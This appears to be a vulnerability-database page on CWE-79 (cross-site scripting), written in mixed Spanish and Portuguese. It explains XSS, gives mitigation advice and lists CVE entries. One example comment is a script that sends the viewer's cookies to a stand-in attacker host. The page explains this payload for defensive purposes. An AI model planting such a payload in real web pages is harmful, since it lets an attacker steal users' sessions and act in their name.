Fallos del tipo CWE-79

30.672 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-54958MEDIUMNagios XI 2024R1.2.2 is susceptible to a stored Cross-Site Scripting (XSS) vulnerability in the Tools page. This flaw allows an attacker to EPSS 1.0%CVE-2023-30838HIGHPrestaShop vulnerable to possible XSS injection through Validate::isCleanHTML methodEPSS 1.0%CVE-2025-26064HIGHA cross-site scripting (XSS) vulnerability in Intelbras RX1500 v2.2.9 and RX3000 v1.0.11 allows attackers to execute arbitrary web scripts oEPSS 1.0%CVE-2021-25933MEDIUMIn OpenNMS Horizon, versions opennms-1-0-stable through opennms-27.1.0-1; OpenNMS Meridian, versions meridian-foundation-2015.1.0-1 through EPSS 1.0%CVE-2024-51135CRITICALAn XML External Entity (XXE) vulnerability in the component DocumentBuilderFactory of powertac-server v1.9.0 allows attackers to access sensEPSS 1.0%CVE-2024-23111MEDIUMAn improper neutralization of input during web page Generation ('Cross-site Scripting') vulnerability [CWE-79] in FortiOS version 7.4.3 and EPSS 1.0%CVE-2023-34222MEDIUMIn JetBrains TeamCity before 2023.05 possible XSS in the Plugin Vendor URL was possibleEPSS 1.0%CVE-2023-34226MEDIUMIn JetBrains TeamCity before 2023.05 reflected XSS in the Subscriptions page was possibleEPSS 1.0%CVE-2023-39175MEDIUMIn JetBrains TeamCity before 2023.05.2 reflected XSS via GitHub integration was possibleEPSS 1.0%CVE-2023-38065MEDIUMIn JetBrains TeamCity before 2023.05.1 stored XSS while viewing the build log was possibleEPSS 1.0%CVE-2021-28625MEDIUMAdobe Experience Manager Cross-site Scripting vulnerability in inbox workitem.jspEPSS 1.0%CVE-2023-38061MEDIUMIn JetBrains TeamCity before 2023.05.1 stored XSS when using a custom theme was possibleEPSS 1.0%CVE-2022-1346CRITICALMultiple Stored XSS in causefx/organizrEPSS 1.0%CVE-2021-28628MEDIUMAdobe Experience Manager Cross-site Scripting vulnerability in inbox render.jspEPSS 1.0%CVE-2022-1344CRITICALStored XSS due to no sanitization in the filename in causefx/organizrEPSS 1.0%CVE-2023-34221MEDIUMIn JetBrains TeamCity before 2023.05 stored XSS in the Show Connection page was possibleEPSS 1.0%CVE-2023-38063MEDIUMIn JetBrains TeamCity before 2023.05.1 stored XSS while running custom builds was possibleEPSS 1.0%CVE-2023-6697MEDIUMWP Go Maps (formerly WP Google Maps) <= 9.0.28 - Reflected Cross-Site ScriptingEPSS 1.0%CVE-2020-26216HIGHCross-Site Scripting in TYPO3 FluidEPSS 1.0%CVE-2022-29091MEDIUMDell Unity, Dell UnityVSA, and Dell UnityXT versions prior to 5.2.0.0.5.173 contain a Reflected Cross-Site Scripting Vulnerability in UnisphEPSS 1.0%